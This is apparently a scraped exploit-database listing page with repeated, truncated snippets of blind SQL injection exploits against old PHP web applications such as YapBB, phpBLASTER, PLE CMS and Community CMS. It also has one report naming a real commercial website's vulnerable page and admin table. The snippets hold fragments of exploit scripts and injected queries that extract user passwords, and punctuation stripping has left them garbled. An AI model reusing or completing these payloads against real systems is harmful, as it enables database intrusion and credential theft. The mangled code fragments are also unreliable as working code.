Zeroboard4 pl8 (07.12.17) - Multiple Vulnerabilities

ZeroBoard4 pl8 07.12.17 Multiple Remote/Local Vulnerability bY [email protected] thx to : Flyh4t / ZeroBoard4 VERSION pl8 07.12.17is most famous and widely used bulletin board system of Korea. It is freely available for all platforms that supports PHP and MySQL. There are Remote File Inclusion?,...

YapBB <= 1.2 (forumID) Blind SQL Injection Exploit

No description provided by source. --+++======================================================+++-- --+++====== YapBB = 1.2 Blind SQL Injection Exploit ======+++-- --+++======================================================+++-- !/usr/bin/perl use strict; use warnings; use IO::Socket; sub usage d...

YapBB <= 1.2 (forumID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================== YapBB ". "\n? Ex. : perl $0 localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; sub query my $user, $chr, $pos = @; my $query = "123 OR IF ASCIISUBSTRINGSELECT password FROM "...

YapBB 1.2 - forumID Blind SQL Injection

YapBB 1.2 - forumID Blind SQL Injection --+++======================================================+++-- --+++====== YapBB ". "\n? Ex. : perl $0 localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; sub query my $user, $chr, $pos = @; my $query = "123 OR IF ASCIISUBSTRINGSELECT password FROM...

YapBB 1.2 - 'forumID' Blind SQL Injection

--+++======================================================+++-- --+++====== YapBB ". "\n? Ex. : perl $0 localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; sub query my $user, $chr, $pos = @; my $query = "123 OR IF ASCIISUBSTRINGSELECT password FROM ". "forumuser WHERE nickname =...

YapBB 1.2 Blind SQL Injection

--+++======================================================+++-- --+++====== YapBB ". "\n? Ex. : perl $0 localhost /YapBB root abcdefghijklmnopqrstuvwxyz". "\n\n"; sub query my $user, $chr, $pos = @; my $query = "123 OR IF ASCIISUBSTRINGSELECT password FROM ". "forumuser WHERE nickname =...

WEBalbum 2.4b (photo.php id) Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; printr' WEBalbum v2.4b Blind SQL Injection Exploit Some webpages have a diffirint table name ---- xoron ----- [email protected] XORON c 2009 WARNING!: php xoron.php "http://www.web-album.org/PATH/photo.php?id=1" '; if $argc 1 $ur...

DreamPics Photo/Video Gallery - Blind SQL Injection

xoron 1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge =...

phpBLASTER 1.0 RC1 (blaster_user) Blind SQL Injection Exploit

No description provided by source. --+++============================================================+++-- --+++====== phpBLASTER 1.0 RC1 Blind SQL Injection Exploit ======+++-- --+++============================================================+++-- ?php function query $username, $pos, $chr $query ...

phpBLASTER 1.0 RC1 (blaster_user) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= phpBLASTER 1.0 RC1 blasteruser Blind SQL Injection Exploit =============================================================...

phpBLASTER 1.0 RC1 - Blind SQL Injection

--+++============================================================+++-- --+++====== phpBLASTER 1.0 RC1 Blind SQL Injection Exploit ======+++-- --+++============================================================+++-- 4 return true; else return false; function run $hostname, $path, $username $key =...

phpBLASTER 1.0 RC1 - Blind SQL Injection

phpBLASTER 1.0 RC1 - Blind SQL Injection --+++============================================================+++-- --+++====== phpBLASTER 1.0 RC1 Blind SQL Injection Exploit ======+++-- --+++============================================================+++-- 4 return true; else return false; function...

phpBLASTER 1.0 RC1 SQL Injection

--+++============================================================+++-- --+++====== phpBLASTER 1.0 RC1 Blind SQL Injection Exploit ======+++-- --+++============================================================+++-- 4 return true; else return false; function run $hostname, $path, $username $key =...

Surat Diamond Blind SQL Injection

Blind sql injection found at URL: http://www.suratdiamond.com/prodcriteria.aspx Entity: matid Security Risk: It is possible to view, modify or delete database entries and tables Below are the tables found on the database admin uid username userpass 1 admin removed brochureimage Carat CartMaster...

PLE CMS 1.0 beta 4.2 (login.php school) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== PLE CMS 1.0 beta 4.2 login.php school Blind SQL Injection Exploit ===================================================================...

PLE CMS 1.0 beta 4.2 (login.php school) Blind SQL Injection Exploit

No description provided by source. --+++==============================================================+++-- --+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ?php function query $user, $pos, $chr $quer...

PLE CMS 1.0 Beta 4.2 - Blind SQL Injection

PLE CMS 1.0 Beta 4.2 - Blind SQL Injection --+++==============================================================+++-- --+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ". "\n+ Ex. : php xpl.php localhost...

SmartSiteCMS 1.0 (articles.php var) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/python import sys import re from socket import class exploit: def initself,host,path,user: self.host=host self.path=path self.user=user self.reg=re.compile"!-- END COMMENT FORM --" def setqueryself,n,ch: self.query="' OR ASCIISUBSTRINGSELECT password...

Community CMS &lt;= 0.4 (/index.php id) Blind SQL Injection Exploit

No description provided by source. --+++==============================================================+++-- --+++====== Community CMS = 0.4 Blind SQL Injection Exploit ======+++-- --+++==============================================================+++-- ?php function query $user, $pos, $chr $query...

Community CMS <= 0.4 (/index.php id) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================ Community CMS = 0.4 /index.php id Blind SQL Injection Exploit ================================================================...